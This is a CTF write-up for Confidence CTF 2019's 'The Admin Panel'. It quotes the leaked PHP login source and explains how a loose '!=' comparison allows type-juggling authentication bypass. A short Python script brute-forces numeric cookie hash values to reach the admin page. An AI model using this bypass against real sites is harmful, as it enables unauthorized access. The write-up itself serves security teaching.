CONFidence CTF 2019 'The Admin Panel' Writeup
Walkthrough for The Admin Panel Challenge

Right after iCTF, there was Confidence CTF going on by P4! I was kinda late to look into the challenges and there was hardly ~3 hours left. I went with the one which had most solves, The Admin Panel.



We were greeted with a normal directory listing page where we had two files, login.php & login.php.bak.



I decided to take up as usual, login.php, but had the message pop up Not authenticated..




Fair enough, I downloaded the login.php.bak and we have the source code with us!

<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($\_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();



Diving into the source code step by step, the Not authenticated. message comes out as the cookie, otadmin is not there. Okay, good enough, I decided to create a cookie named otadmin.

After having that moved into the page, I was greeted with the next message which was COOKIE TAMPERING xD IM A SECURITY EXPERT. So looking at that comparison, I understood that the cookie must have a key-value paid of hash as key and alphanumeric characters as value in it. And the very next line gets $session_data as a json decoded object.

I then decided to create a new cookie otadmin with value {"hash": ""}.

Well, that threw me the result of the next condition, which we eventually need to bypass. But without knowing what $cfg_pass is, it is rather bs.

As a result, the hint was nothing but

I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400



Now we know what the hint is, what the for loop does, the interesting part was the last comparison was vulnerable to a loose comparison or rather type juggling. The loose comparison would rather do something like: When comparing a string to a number, PHP will attempt to convert the string to a number then perform a numeric comparison.


Good enough, makes it more easier not to bruteforce the md5 result and bypassing that is the only thing which is required now. From the hint, we know that the first three are 0 and hence having a value for hash in the range of 999 can do the trick that is required.


#Author: gokul
import requests
url = ""                                              #point to the chal location

with requests.Session as session:
    for i in range(999):
        cookies = {'otadmin':'{"hash": '+str(i)+'}'}  #passing on the cookie
        r = session.get(url, cookies = cookies)           
        if 'p4' in r.text:                            #checking for flag which starts with p4, likely to be in display_admin()
            print(r.text)
            break

Reach me out on Twitter for any questions! Cheers.

*****
Written by Gokul Krishna on 16 March 2019